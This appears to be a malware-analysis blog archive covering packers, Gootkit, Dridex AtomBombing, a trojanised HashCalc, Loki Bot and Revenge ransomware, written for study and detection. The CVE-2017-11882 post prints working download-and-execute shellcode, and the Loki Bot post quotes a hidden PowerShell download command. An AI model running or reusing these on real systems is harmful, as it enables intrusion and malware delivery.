3 months ago


Some days ago I found some samples packed with the same packer. I think it is an old packer which looks like a "simple" wrapper. So I decided to write a static unpacker and here is my brief analysis of the packer and the code I wrote.

Brief analysis

The packer I have analyzed looks like:


It adds a new section (the last section) to the file. And sets the entry point to that section. The last
section is the stub, it has some encrypted subroutines which finally decrypts the others sections.
For performing the unpacking process, it has a structure saved 5 bytes after the entry point. I have
called PACKER_ENGINE to this structure.


original_entry_point → original entry point of the program after unpacking.
import_directory → import directory address for the unpacked program.
base_address → the image base address of the program.
crypted_block_rva_begin → the beginning of the encrypted data (the beginning of the first secction normally.
crypted_block_size → the size of the encrypted data.
crypted_block_rva_end → the end of the encrypted data (the beginning of the last section)
bypass_size → the raw size of the last section pointed by “crypted_block_rva_end”. The data of the last section is not encrypted in many cases.
xor_key → the algorithm that protects data is a simple XOR, this field is the key of that encryption algorithm.

The image below shows the case when the last section is not encrypted.


The image below shows the case when the last section is encrypted.


The PACKER_ENGINE values are protected with the NEG instruction. So before use them we
have to NEG those fields.

Once we know this the unpacking process is easy:
1. Collect PACKER_ENGINE data.
2. Decrypt data.
3. Change in the header the entry point.
4. Change in the header the address of import directory.

Code and packed samples

The unpacker was implemented in both C/C++ and Python. The python version isn't very efficient but it works well.

Github: shrinkwrap_unpacker


I havn’t implemented but I think the last section can be delted after the unpacking process.
1. Change in the header number of sections.
2. Change the Size of Image.

Author: @D00RT

4 months ago

Tested sample md5: ae3ef3d2b5e953242d963efc2c635bd9

Gootkit is a banking malware that I started analyzing few days ago.

After unpacking some samples, I found some creepy loops and encrypted strings…

Image 1: Two encrypted strings.

For each string it uses, there is a loop to decrypt the string. After many samples analyzed (2 samples hahaha) I was bored with those loops. So I thought to write an script (my first radare2 script) to decrypt each string and comment my IDB.

Image 2: Many strings, many loops.

Finally, I have done a script (using radare2) which derypts/patches all strings and patches each loop. (because after the patch, the strings are decrypted, so it isn't necesary to continue decrypting the strings)

Lets analyze the encryption algorithm/loop.

In each loop there are two important values, one is the value for the control of the loop and the second one is the value which is used for dividing the counter of the loop (used as a module).

Image 3: The beginning of the loop to decryp a string.

Image 4: The algorithm (XOR) to decryp a string.

Image 5: The code of the loop to decrypt a string.

In this loop that i will show as example, the value for ending the loop is 0x14 and the second value which is used for dividing the loop counter (as a module) is 0x6 (before idiv instruction).

After analyze this loop we notice that, the values of the the first 0x14 mov instructions are the characters of the encrypted string and the next 0x6 value are the characters of the key. The encryption algorithm is too easy, a simple xor between the string and the key.

Finally, after patching the program with the script, (and parsed de output for IDA comments) the result is the next one:

Image 6: In the left the original program with the encrypted string. In the right the patched program with the decrypted string and commented.

All strings are decrypted and a comment is added next to the string (And works without crashing =D)

The details of how it is implemented in radare2 are in the script.

Image 7: The output of the program where you can see the decrypted strings and its offset.

Easy way.

Feel free for sending any suggestion.

Github (SCRIPT): gootkit_string_patcher
Author: @D00RT

4 months ago


SAMPLE MD5: 50d3cbd314e39b28bcd7938794e18c97

This sample is packed with a packer that drops a shellcode to decompress the

The packer uses a similar technique to “Process Hollowing”. In this case, after dropping the shellcode, the shellcode decodes the payload. Finally, the shellcode unmaps the packer and it maps the payload in the same memory address as the packer was.

The next image shows the different phases of unpacking process.

1.pngImage​ ​ 1:​ ​ Logic​ ​ summary​ ​ of​ ​ the​ ​ packer.

1. When the packer is in memory, after a process which I am going to describe later, it​ ​ drops​ ​ the​ ​ shellcode.
2. The shellcode drops encoded payload and decrypts it. After the decryption the payload​ ​ is​ ​ not​ ​ ready​ ​ yet​ ​ (red​ ​ color).
3.​ ​ The​ ​ shellcode​ ​ unmaps​ ​ the​ ​ packer.
4. The shellcode maps the decrypted payload at the same position as the packer was.
5.​ ​ The​ ​ shellcode​ ​ fixes​ ​ the​ ​ imports​ ​ addresses​ ​ which​ ​ will​ ​ be​ ​ used​ ​ by the​ ​ payload.
6.​ ​ Finally, ​ the​ ​ payload​ ​ is​ ​ executed.


I​ am​ going​ to​ explain​ in​ detail​ the​ 6 steps​ described​ above.

The​ first​ step​ (1)​ drops​ the​ shellcode​ using​ Windows​ messages.

2.pngImage​ 2:​​ ​ Main​ code of​ the​ packer.

The image 2 shows how the class named “needed” is registered. “needed” class has associated the subroutine “sub_4041A6” (The shellcode will be written by this subroutine).
After​ registering​ the​ class,​ the​ packer​ creates​ a ​ “needed”​ window.

The packer loops until it does not get more messages, at this moment the shellcode is​ ready​ to​ run​ (“image​ 2”,​ line​ 24).

“sub_4041A6” subroutine works as state machine. Depends on the received message, it jumps​ to​ one​ state​ or​ another.​ The​ next​ messages​ are​ the​ most​ important​ for​ the​ subroutine:

  • Message 0x111: This message manages the state machine, depends on lParam theprogram jumps to one state or another. The packer drops the shellcode after passing for all states.

Image 3 shows how the messages are managed by the window. If the message is different to 0x111 the program pass the message. In addition, if the message is 0x111 with value​ 0x579​ as​ lParam​ the​ window​ will​ start​ to​ drop​ the​ shellcode.

3.pngImage​ ​ 3:​ ​ Reading​ ​ 0x111​ ​ message.

  • Message 0x401: When this message is received, it will start to decode the shellcode. The wParam is the memory address to write from and the lParam is the address to​ write​ to.

4.pngImage​ ​ 4:​ ​ Message​ ​ 0x401​ ​ loop​ ​ which​ ​ is​ ​ responsible​ ​ for​ ​ decoding​ ​ the​ ​ shellcode.

The​ loop​ shown​ in​ the​ image​ 4,​ basically​ do​ the​ same​ as​ the​ next​ pseudo​ code.

dir_src​ = *wParam
dir_to_write​ = *wParam​ + 4
offset​ = lParam
for​ i in​ range(15):
    [dir_to_write]​ = [dir_src​ + i]
    dir_to_write​ = dirt_to_write​ + offset

This​ message​ is​ sent​ until​ the​ packer​ writes​ the​ shellcode.

When shellcode is executed, it decrypts itself at the beginning. After this decryption, the​ shellcode​ starts​ to​ work.

5.pngImage​ ​ 5:​ ​ Entry​ ​ point​ ​ of​ ​ the​ ​ shellcode​ ​ before​ ​ the​ ​ decryption.

6.pngImage​ ​ 6:​ ​ Piece​ ​ of​ ​ code​ ​ of​ ​ initial​ ​ decryption​ ​ just​ ​ before​ ​ calling​ ​ to​ ​ the​ ​ decrypted​ ​ shellcode.

7.pngImagen​ ​ 7:​ ​ Entry​ ​ point​ ​ of​ ​ the​ ​ shellcode​ ​ after​ ​ the​ ​ decryption.

The shellcode allocates memory with VirtualAlloc function and starts to drop binary data​ which​ looks​ to​ be​ compressed.

8.pngImage​ ​ 8:​ ​ Uncompress​ ​ process.

After​ uncompressing​ data,​ we​ can​ find​ the​ payload.

9.pngImage​ ​ 9:​ ​ uncompressed,​ ​ payload.

Now we are at the third (3) step, the shellcode will unmap the packer and will map the​ decrypted​ payload​ in​ the​ same​ address​ as​ the​ packer​ was​ (4).

10.pngImage​ ​ 10:​ ​ Unmap/map​ ​ code.

Finally, the shellcode fixes up the import addresses of the payload and it passes the control​ to​ the​ payload.

11.pngImage​ ​ 11:​ ​ Fixing​ ​ up​ ​ the​ ​ imports​ ​ of​ ​ the​ ​ payload.

12.pngImage​ ​ 12:​ ​ Jump​ ​ to​ ​ OEP.

The first command for starting the unpacking (in the subroutine associated with the "needed" registered class) is when the lParam is 0x38.

The firs state of the "needed" class is to get the system time. Once it has the current month (using GetSystemTime) it moves to lParam, the current month value (1 = January, 2 = February ... 11 = November, 12 = December) plus 0x27 and sends the message.


So, If it is not November It won't unpack =(

Author: @D00RT

9 months ago


In this POC we are going to demostrate how to perform a fileless code injection into EQNEDT32.EXE (Microsoft Word Equation Editor) .

We are going to use the unamer implementation (https://github.com/unamer/CVE-2017-11882 ) (605 bytes) to inject our shellcode into the vulnerable Microsoft Word component.


The idea is to use the WinINet functions to download a shellcode from internet, but directly into the memory of the process without using any intermediate file.

In this POC we have been able to perform this using these functions:

VirtualAlloc: To allocate memory in order to fill it directly with the downloaded shellcode
InternetOpenA: Initializes an application's use of the WinINet functions
InternetOpenUrlA: Opens a resource specified by a complete FTP or HTTP URL.
InternetReadFile: We will download the shellcode in 2000 bytes chunks directly into the allocated memory.

POC - Code




Mov Ebx, Ecx

jmp @_0   

szWininet db 'wininet', 0

szWin3 db 'InternetOpenA', 0

dwInternetOpen dd 0

szInternetOpenUrlStr db 'InternetOpenUrlA', 0

dwInternetOpenUrl dd 0

szInternetReadFile db 'InternetReadFile', 0

dwInternetReadFile dd 0

szURL db 'http://[domain/file]', 0
szUserAgent db 'CVE-2017-11882 - Word Exploit - User Agent', 0

dwBytesRead dd 0


; ecx = start address
mov edi, 4668A4h ; LoadLibraryA

; call LoadLibrary("wininet") without .dll 
lea edx, [ebx+(WinINetStr - init)]
push edx  
call DWord Ptr [Edi] ; call LoadLibrary

push eax ; Save WinInitHandle in the stack

; Call GetProcAddress looking for "InternetOpen"
lea edx, [ebx+(InternetOpenStr - init)]
push edx             ; "InternetOpen"
push eax             ; WinInitHandle
sub edi, 14h         ; GetProcAddress
call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenAddr
mov [ebx+(InternetOpenAddr-init)], eax

Pop Eax  ; Recover WinInitHandle
Push Eax ; Save WinInitHandle

; Call to GetProcAddres looking for "InternetOpenUrl"
lea edx, [ebx+(InternetOpenUrlStr - init)]
push edx             ; "InternetOpenUrl"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetOpenUrlAddr
mov [ebx+(InternetOpenUrlAddr-init)], eax

Pop Eax ; Recover WinInitHandle

; Call to GetProcAddress looking for "InternetReadFile"
;mov eax, [ebx+(WinInitHandle - init)]
lea edx, [ebx+(InternetReadFileStr - init)]
push edx             ; "InternetReadFile"
push eax             ; WinInitHandle
Call DWord Ptr [Edi] ; Call GetProcAddress

; Save the result into InternetReadFileAddr
mov [ebx+(InternetReadFileAddr-init)], eax

; Clean esi
xor esi, esi

; Call to VirtualAlloc
push 40h             ; PAGE_EXECUTE_READWRITE
push 3000h           ; 0x1000 (MEMCOMMIT) and 0x2000 (MEMRESERVE)
push 19000h          ; size
push esi             ; lpAddress
mov edi, 4667D8h     ; VirtualAllocAddr
Call DWord Ptr [Edi] ; Call VirtualAlloc

Push Eax ; Save eax (Memory allocated Start Address) from VirtualAlloc into Stack

; Call to InternetOpenAddr
lea edx, [ebx+(UserAgent - init)] ; UserAgent
push esi ; NULL
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; UserAgent
mov edi, [ebx+(InternetOpenAddr - init)]
call edi ; Call to InternetOpenAddr

; Call to InternetOpenUrl
lea edx, [ebx+(URLOpen - init)]
push esi ; NULL
push esi ; NULL
push esi ; NULL
push edx ; URL
push eax ; InternetOpenHandle
mov edi, [ebx+(InternetOpenUrlAddr - init)]
call edi ; Call to InternetOpenUrl

Mov Edi, [Ebx + (InternetReadFileAddr - init)]
Pop Edx  ; Start Address memory alloc
Lea Esi, [Ebx + (BytesRead - init)]

Push Edx ; Save Start Address of memory allocated


Push Edx ; Save Start Address of memory allocated (Buffer)
Push Eax ; Save Handle of InternetOpenUrl

push esi  ; Pointer to a variable that receives the number of bytes readed
Push 2000 ; Size Number of bytes to be read
push edx  ; Buffer
push eax  ; InternetOpenUrlHandle
Call Edi

Pop Eax ; Recover Handle of InternetOpenUrl
Pop Edx ; Recover Start Address of memory allocated (Buffer)
Add Edx, [Esi] ; Modifies buffer 

cmp DWord Ptr [Esi], 2000
jz ReadFileInit

Pop Edx ; Recover Start Address of the allocated memory 
Jmp Edx ; Jump into the fileless code 

; To know the size of the shellcode

Mov Eax, (_critical - init)

End start


As we have demostrated in this POC, is possible to perform a fileless code injection.

We recomend everyone to UPDATE Microsoft Office in order to be protected against this vulnerability.


Embedy Company (https://github.com/embedi/CVE-2017-11882)
unamer (https://github.com/unamer/CVE-2017-11882)
@ValthekOn (https://29wspy.ru/reversing/CVE-2017-11882.pdf)

Author: @51ddh4r7h4

about 1 year ago

Dridex has evolved, and now Dridex V4 uses Atom Bombing to perform process injection.

This method allows Dridex to perform sneaky injections to evade AV solutions.

In this post, we are going to explain how Dridex gain persistence in the system and how Dridex performs AtomBombing in detail.


This Dridex version uses different techniques to persist into the system.

First the malware enumerates all executable files into the "C:\Windows\System32\" folder.

Dridex has a preloaded hash. For each filename, the malicious code calculates its hash. When the calculated hash matches with the Dridex preloaded hash, the malware will save the filename to use it later.

In the image below, in r12d we can found the preloaded hash and in RAX the filename hash, that Dridex is looking for. The malware compares both values. In this case matchs because the file that the malware was searching was "optionalfeatures.exe".

After choosing the executable, the malware reads the executable IAT and then selects a dll from the IAT. The malicious code will do that to use a dll hijacking technique. (In RDX we can find the import directory address).

When the dll is chosen from the executable IAT, Dridex reads and copies the EAT from the chosen dll. (In this case the selected dll is appwiz.dll).

You can find below the function that Dridex uses to obtain the EAT.

The EAT is copied into a buffer.

Once this is done, the malware copies itself and adds a new section into itself (This section has a random name). The dridex copies the obtained "EAT" in that section.

With this technique (DLL hijacking) when OptionalFeatures.exe is executed it will load appwiz.dll but appwiz.dll is a modified copy of dridex.

After get an executable and its modified dll, both files will be saved into the disk, then some registry keys will be added to execute the binary when the system boots.

The registry key is added with a random name in "..\SOFTWARE\Microsoft\Windows\CurrentVersion\Run{randomstring}"

A lnk file into startup folder.

Finally the malware copies another two files (an executable and a modified dll) into "C:\Windows\System32[0-9]{4}" folder and creates a programed task that will execute that executable each hour.

Notice that in each execution Dridex will choose a different executable file and a different dll for its persistence.

AtomBombing Injection

AtomBombing injection method is based in APC injection, but in this case, this method uses the Atoms (Windows Executive Objects) to hide and copy the shellcode into the process objetive.

The use of Atoms make the injection more stealthy because the AV products usually do not make any check when Atom creation or reading occurs.

In addition, is difficult to analyze in real time, because the malware analysts are not able to check the Atoms in an easy way, moreover Dridex delete the atoms during the injection process, making more difficult to obtain the shellcode via atoms.

In our opinion, we think that is more useful to obtain the shellcode directly from the injected process, and by that reason we are going to explain all the process showing the injection from the malicious Dridex DLL to the explorer.exe.

What Dridex does?

We are going to explain briefly, what are the steps that Dridex take in order to perform process injection via AtomBombing.

Looking for explorer.exe

The first step in this case, is to find explorer.exe, to do this, Dridex uses "CreateToolhelp32Snapshot"function to create an snapshot of all system processes, and then it will navigate among the processes using Process32FirstW and Process32NextW until explorer.exe is found.

Looking for alertable threads

In this step, an alertable thread is needed to perform APC calls. Because using APC calls Dridex will be able to execute specific functions into explorer.exe.

To acomplish this, Dridex will obtain the handle to the process using OpenProcess function.

The handle will be used to launch NtQueueApcThread function in all the explorer's threads, setting NtSetEvent as ApcRoutine.


  IN HANDLE               ThreadHandle,
  IN PIO_APC_ROUTINE      ApcRoutine,
  IN PVOID                ApcRoutineContext OPTIONAL,
  IN ULONG                ApcReserved OPTIONAL );

The first thread that performs NtSetEvent will be the "chosen one" to perform the APC calls.

In this case, the thread that performed NtSetEvent first was the thread with 0xFC handle.

The handle 0xFC = Thread ID 920 (decimal) to hexadecimal 398

Writing the shellcode into explorer.exe

Now with the first thread that replied the APC call, the malicious DLL will performs the first "NtQueueApcThread" setting ntdll.memset to 0 where the code will be injected.

Memory of explorer.exe where memset was performed:

Now Dridex will create a new Atom with the first bytes that will be copied into explorer.exe.

The next function that will be used in conjuction with NtQueueApcThread will be GlobalGetAtomNameW.

As we can see, GlobalGetAtomNameW will be used with C06B, that is the name of the Atom that was created (used as container) in order to inject the data from Dridex.dll to explorer.exe

GlobalGetAtomNameW performed by explorer.exe because of the NtQueueApcThread call.

Data injected into explorer.exe in 775CAAA0 offset.

Shellcode functions

Dridex will continue injecting data into explorer.exe using the same technique:


When the first code has been injected, it will use memset to set to 0 -> 0x7758c5f0 (ntdll memory space):

Then using again AtomBombing it will inject the shellcode:

Modifying GlobalAtomGetAtomNameA to launch the shellcode

Now with all the necessary code injected into explorer.exe, Dridex will call the shellcode using this sneaky trick:

It will modify the original GlobalGetAtomNameA function, so that when GlobalGetAtomNameA will be called via NtQueueApcThread, the shellcode will be executed. Once the malicious DLL will launch the shellcode using this trick, it will restore GlobalGetAtomA.

After all this process, Dridex will check if there is any process opened with the names iexplorer.exe, chrome.exe, firefox.exe... In order to perform a new injection into the browser using the same tecnique again.


ntdll.dll is one of the DLLs that are at the same address system-wide, that means that its functions addresses will be fixed among all the processes with the ntdll library loaded.

That makes the injection easier for Dridex, because it only has to know where the ntdll addresses have been loaded, looking into its process and with that information, it will perform injections in other processes because the functions addresses of NTDLL are fixed.

Other important libraries that have fixed addreses are kernel32 and user32.

Debugging advices, the explorer trick:

If you attach the x64dbg to explorer.exe to analyze the shellcode injected by the Dridex DLL, you will notice that if you set a break point, all the windows will be frozen. And if you are using at the same time IDA to create an IDB could be very annoying.

The way to solve this, is creating other instance of the original explorer.exe. This could sound of common sense, but you have to know how the trick works :P.

  1. Copy explorer.exe from C:\Windows\explorer.exe to the Desktop.
  2. Now if you execute explorer.exe you will notice that there is only one explorer.exe in execution (This not works)
  3. Change the name of the explorer.exe from the desktop, example "aaaa.exe" and execute it, as you can see, now you have two explorer.exe instances in execution (the name "aaaa.exe" will be changed to "explorer.exe")
  4. Now we have two instances of explorer.exe but we want that the Dridex DLL only performs the injection routine into the new explorer.exe, to achive this we have to the next:
  5. We have to open the malicious Dridex DLL with x64dbg (set a bp in "NtQueueAPCThread"), then we have to attach our x64dbg to the new explorer.exe created and set a break point into "GlobalAtomGetAtomNameW".
  6. Then, using the task manager, we have to close the first explorer.exe and run the x64dbg with Dridex DLL until "NtQueueAPCThread".
  7. At this point, Dridex will be inject the shellcode in our explorer.exe.
  8. Now we want to recover our pretty desktop, to perform that, you have to open the task manager, launch a cmd and run explorer.exe. You will notice that you can navigate among all the windows, set bp into explorer.exe without froze all the desktop and complete your IDB in IDA Pro without any problem.
  9. Run Dridex Dll x64dbg and start you analysis!

AtomBombing will be used in the future by other malware developers?

In our opinion, this injection method is very useful and difficult to hunt if you do not understand how AtomBombing works, because Atoms are Windows Executive Objects and there are few tools able to capture their changes in a comfortable way.

Moreover the method that Dridex uses do not perform any ROP like the original POC, in this case it modifies the original function "GlobalAtomGetAtomNameA" to launch the shellcode, making the implementation process easier but less stealthy.

Yara Rule

rule Dridex : banker
      author = "51ddh4r7h4 & D00RT"
      date = "2017/08/01"
      description = "Dridex V4"
      reference/source = "http://reversingminds-blog.logdown.com"
      sample = "c19a33ec0125d579c4ab695363df49f7"
      in_the_wild = true

        $a = {48 83 EC 18 B8 41 45 38 09 C7 44 24 10 E1 28 71 01 8B 54 24 10 29 D0 89 44 24 0C 81 7C 24 0C 57 E4 75 2A 89 4C 24
              08 89 54 24 04 75 00 8B 44 24 08 89 04 24 8B 0C 24 65 67 48 8B 11 44 8B 44 24 04 41 81 C0 B4 AE 33 78 44 89 44 24
              14 48 89 D0 48 83 C4 18 C3 66 66 2E 0F 1F 84 00 00 00 00 00 48 83 EC 38 48 C7 44 24 30 70 D1 E6 75 48 8B 44 24 30
              48 35 21 50 E2 06 48 3D 48 39 05 15 72 0F B9 30 00 00 00 48 83 C4 38 48 E9 71 FF FF FF B9 76 A0 92 6C E8 67 FF FF
              FF 31 C9 89 CA 48 89 44 24 28 48 89 D0 48 83 C4 38 C3 66 0F 1F 44 00 00 48 83 EC 38 C7 44 24 34 85 1B 96 21 8B 44
              24 34 89 44 24 2C E8 97 FF FF FF 8B 4C 24 2C 81 E1 E0 CA 13 57 89 4C 24 30 8B 4C 24 2C 81 F9 7A 6B 6F 57 48 89 44
              24 20 75 00 8B 44 24 2C 35 55 36 B4 45 89 44 24 30 48 8B 4C 24 20 48 8B 41 60 48 83 C4 38 C3 66 66 66 66 2E 0F 1F
              84 00 00 00 00 00 48 83 EC 40 44 88 C8 41 B9 DC 96 50 30 45 89 CA 48 C7 44 24 28 5A 5B 6C 45 44 8B 4C 24 3C 41 81
              C1 AC 6F 55 46 44 89 4C 24 3C 4C 8B 5C 24 28 48 89 4C 24 10 4C 89 D9 49 D3 E2 4C 89 54 24 20 49 81 FB D2 F4 A4 6B
              48 89 54 24 08 88 44 24 07 44 89 04 24 77 33 B8 3B 48 13 64 C7 44 24 18 6E 8B 6E 1D 8B 0C 24 89 CA 41 89 D0 4C 89
              44 24 30 4C 8B 44 24 30 4C 8B 4C 24 08 47 8A 14 01 44 88 54 24 1F 3B 44 24 18 75 00 48 8B 44 24 30 8A 4C 24 1F 8A
              54 24 07 28 D1 4C 8B 44 24 10 41 88 0C 00 48 83 C4 40 C3 66 66 2E 0F 1F 84}



Authors: @51ddh4r7h4, @D00RT

about 1 year ago

During my researches I found the next file.

MD5 5e81bd134168d7d8c91b96d88b5e0fd0
SHA1 a632371b2aa54709d4bf6b0f28cb1904cb8864bc

The file is the HashCalc application made by SlavaSoft company (or no).

It works as its definition into SlavaSoft homepage:

A fast and easy-to-use calculator that allows to compute message digests, checksums and HMACs for files, as well as for text and hex strings. It offers a choice of 13 of the most popular hash and checksum algorithms for calculations.

And the binary has all features described in its description.

After a static analysis, I did not find anything interesting, just in the ".text" section there is permission to write, but this is typical in some packers.

When I analyzed the binary dynamically, no suspicious behavior was detected, I tried almost all features.

At this point, I was confused, it seems a legitimate binary, if there have not enough time to analyze the file, every people (including me) will say that the binary is goodware.

Before starting to debug the program, I thought to download the file from its homepage and compare it with my binary. But usually when a file is been analyzed we can not get the original file for comparing. In those cases, there are two choices, finish the analysis or to debug the full binary. If the binary is too big, we can spend a very long time to debug it, some times will be almost impossible if we want to have an immediate response(+100MB).

In this case I have the original file but, is there some hidden feature in the program I am analyzing? let's see.

They have the same entry point.

The MD5 value of all sections are equal, except in one case, ".text" section.

Comparing ".text" section we can found the differences between both files at the last bytes of the section.

If we decompile those bytes with hiew, we can read some ASM instrucctions.

I am going to put a breakpoint at the first instruccion, I want to debug that code. Maybe the code is executed or maybe no. Maybe it is not a code.

After put the breakpoint, the application runs well and it does not stop its execution. The images below show me testing some features of the application without stopping its execution.

In the next image, when I try to get the hash signatures from a file, the application stops its execution.

Now we are at the first instruction of the code seen previously. This code tries to decrypt itself. This image is the encrypted shellcode.

Function for decrypt the shellcode. (It is a simple XOR with 7 value).

Decrypted shellcode.

There are some interesting strings into decrypted shellcode:

- kernel32
- ANNA (Anna Chapman???)
- CreateEventA
- \\.\PhysicalDrive0
- ntdll

The shellcode looks like:

The shellcode does the next steps:

1. The code decrypts itself.
2. Adjusts Privileges (SeDebugPrivilege).

3. It creates a event named SLAVA. If the event is not created yet, it returns to original code, so this code is waiting for this event. (An event created by who?, It is too easy to create a legitimate program to create an event...)

4. The shellcode overwrites the first 512 bytes from "\\.\PhysicalDrive0" (boot sector). When this sector is overwritten the computer will never boot.

5. The code encrypts itself. It does this to hide the malicious code

6. It returns to original code.

If you remember the first image of this post, the file is detected only by one AV :O.

Conclusions: In these cases, is difficult to find the malicious code (It only is activated when a specific feature is used), think in a binary with +50MB. Maybe if we have the original file we can focus our analysis in the differences, but in some times this is not possible. We have to spend a lot of time (or money) to find malicious code. This file could be an APT waiting for third party event(Who did make this file? Why? Are they using a tool to make this?). So, if we have the oportunity, we must compare the file with the original file. But, What happen when we can not get the original file?

Author: @D00RT

about 1 year ago

A few hours after the last ransomware attack with the "NotPetya" ransomware, some files were related to the attack as attack vector. Some antimalware companies and malware research comunities spoke about some domains and samples that have been related to this attack.

By that reason, I started to analyze the samples to get to the bottom of the matter. r your tranquillity, I must say that the samples are not related to “NotPetya" ransomware but they are related to an interesting malware which I am going to explain, dubbed “Loki Bot”.

Attack vector.

Loki Bot is a sensitive information stealer. Loki Bot can read private information from a large list of Windows programs and sends it to CnC.

You can buy this malware on internet with differents modules and features.

Like some malware researchers said, the attack vector starts with a .doc file. This file exploits a known vulnerability (CVE-2017-0199 – Info) for download other file from a server (

The downloaded .xls file has an embedded macro that downloads a binary file from another server using PowerShell.

We can find the script opening the xls file with an Hex Editor

After extract the script and execute it, the script will try to download a .exe file from french-cooking[.]com domain.

PowerShell command:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://french-cooking.]com/myguy.]exe[', 'C:\Users\d00rt\AppData\Roaming\45298.exe');

Finally when myguy.exe is executed, it tries to connect with the CnC, coffeinoffice.xyz

Let's see what happens with myguy.exe ;)

Loki Bot Analysis.

MD5 A1D5895F85751DFE67D19CCCB51B051A
SHA1 9288FB8E96D419586FC8C595DD95353D48E8A060

This sample is protected with a custom packer, but finally it uses the RunPE technique to unpack itself, at this moment we can dump it and start a comfortable analysis.

Unpacked MD5 49F3606755B12230BFF639361C7109A7
Unpacked SHA1 234A7174E67EEC394FAF5139BC79C69BF0EBFFB8

This sample is not easy to analyze, it has some techniques to make the analysis more difficult. For example, to perform a call to any function of Windows Api, it uses a special function. In order to make it works, the malware has to push three values, then the function will return a memory addres related to the function that it is looking for.

Main functionality

Loki Bot initializes WSASTartup, then it creates a Mutex with the same name that the machine GUID MD5.

import hashlib
mutex_name = hashlib.md5(machine_GUID).hexdigest()[:24]

Later Lokibot collects sensitive information from the supported modules and sends it to CnC.
After stealing data, it gains persistence on the system and finally it waits the CnC commands in a loop.


Loki Bot supports a lot of different Windows applications to steal information. In the following table you can find all the modules that I could identify during the analysis.

Firefox SoftwareNet mSecure Bitvise 1Password
IceDragon FTPShell vnc_files WinFTP Winbox
Safari NppFTP BlazeFTP MartinPrikryl KDBX_files
K_Meleon MyFTP FAStream_NetFile FreshFTP Enpass
SeaMonkey FTPBox GoFTP BitKinex z_Mailing
Flock SherrodFTP ESTSoft_FTP UltraFXP Opera_Mail
Black_Hawk FTPNow DeluxeFTP FTPNow2 PostBox
Lunascape Nexus TotalComander VanDyke FossaMail
Comodo XFTP FTPGetter OdinFTP MailBox
QtWeb SFTP_NetDrive FullTiltPoker NCH_CLASSIC Outlook
QupZilla AbleFTP PokerStars Kitty YMail2
Vault JaSFTP ExpandDrive ThunderBird TrulyMail
Cyberfox Automize Steed FoxMail spn_files
Pale_Moon Cyberduck FlashFXP PocoMail TODODesktop
WaterFox FullSync NovaFTP IncrediMail Stickies
GoogleTark FTPInfo NetDrive GmailNotifierPro NoteFly
SuperPutty LinasFTP TotalComander dcf_files Notezilla
Syncovery FileZilla SmartFTP 32BitFTP StickyNotes
FTPNavigato StaffFTP FarManager RoboForm

Loki Bot loads an array with different address and call them dynamically.

During my analysis, the malware got my gmail account data from Comodo/Dragon Browser and FileZilla config. (Look at stolen data, you can see passwords in plain text :O ).

Once the LokiBot has finished stealing data, it prepares a packet to send to CnC. The data is compressed by an algorithm.

The first data size was 0x2541 and now the size is 0xB27

The malware obtains the computer metadata to identify the stolen data with the computer where the stolen data was gotten. This metadata will be the header of the packet that will be send to CnC including some flags (data size, stolen data size per each module...) which I am not going to explain in depth in this post.

In the next image we see the final payload to send to CnC and the CnC domain:

HTTP-request (I patched the host to see the request because the real server is down). It uses "Mozilla/4.08 (Charon; Inferno)" as User-Agent.

Finally Loki Bot stay looping waiting commands from CnC, Loki Bot sends to the CnC a "clean" packet (Just with the metadata header we saw previously). If the CnC responses to the requests, Loki Bot Creates a thread for parsing the CnC answer.

I analyzed this part statically because the server is down, so some parts are not clear but I found different behaviours depending on the CnC response.

1. The CnC can asks to steal sensitive data again.  
2. The CnC can requests to the compromised computer that download, execute and load files and libraries.

Basically Loki bot looks like it can do what it want. It could perform backdoor task, or update itself with new features.


Loki bot copies and hides itself into the next folder “C:\Users\d00rt\AppData\Roaming\72431D”. The malware sets the folder and files attributes using SetFileAttributes with 0x2006 attributes.

0x2006 Attribute

Author: @D00RT

over 1 year ago

Revenge is a ransomware that ciphers user files with .REVENGE extension.

Analyzed sample:
md5, e0d52cc8793592184a854fde5afaf152
sha256, f5bceebaecb329380385509d263f55e3d7bddde02377636a0e15f8bfd77a84a6

After run the sample it leave a help file next to the ciphered files.

Inside the help file there are the instructions to recover the ciphered files.
Also, it connect with the CnC and send user data.
This is not a behaivor analysis of Revenge so, lets unpack it.

After a research we see a call to GlobalAlloc with the size 0xB400, so we will put a BP to see where and what it drops in the memory address returned by GlobalAlloc.

We are going to debug with OllyDBG.
We set the BP on GlobalAlloc. After GlobalAlloc call, we can see the address where the some data will be dropped. In my case it is 0x0015B7F0 (EAX)

We follow the address in Hex dump and we can see a empty section. Bellow GlobalAlloc we see the RtlMoveMemory function with a length 0xB400 as parameter (Like before Allocated memory size) so probably in that call some data will be moved from somewhere to allocated memory. Lets see

After set the BP in the next instrucction and press run we see that some data was dropped to allocated memory.

They look like encrypted data or garbage
We see a call to a function bellow last instrucction maybe it is the decipher algorithm. We run to 0x00407183 address (after possible decryption algorithm) and we can see deciphered data and it seems a PE file so, lets dump.

We do static analysis to the dumped file and we see interesting strings:

- (CNC)
- /js/other_scripts/get.php
- EMAIL: revenge00@writeme.com (Support mail)

And many more:

If we run the dumped exe it run well and it starts ciphering the files.

As you can See is a PE and we can open with IDA or another debugger.

Author: @D00RT

over 1 year ago

"A calling convention is a set of rules dictating how function calls work at the machine level. It is defined by the Application Binary Interface (ABI) for a particular system. For example, should the parameters be passed through the stack, in registers, or both? Should the parameters be passed in from left-to-right or right-to-left? Should the return value be stored on the stack, in registers, or both?
There are many calling convetins, but the popular ones are CDECL, STDCALL, THISCALL, and FASTCALL. (The compiler can also generate its own custom calling convention [...])" - Practical Reverse Engineering: X86, X64, Arm, Windows Kernel, Reversing Tools, and Obfuscation

Calling Conventions

Parameters Pushed on the stack from right-to-left. Caller must clean up the stack after the call. Same as CDECL except that the callee must clean the stack. First two parameters are passed in ECX and EDX. The rest are on the stack.
Return value Stored in EAX. Stored in EAX. Stored in EAX.
Non-volatile registers EBP, ESP, EBX, ESI, EDI. EBP, ESP, EBX, ESI, EDI. EBP, ESP, EBX, ESI, EDI.

The most important thing that you have to know is that there are many ways to pass parameters (and acces them). Is not necessary to learn all calling conventions.

Author: @D00RT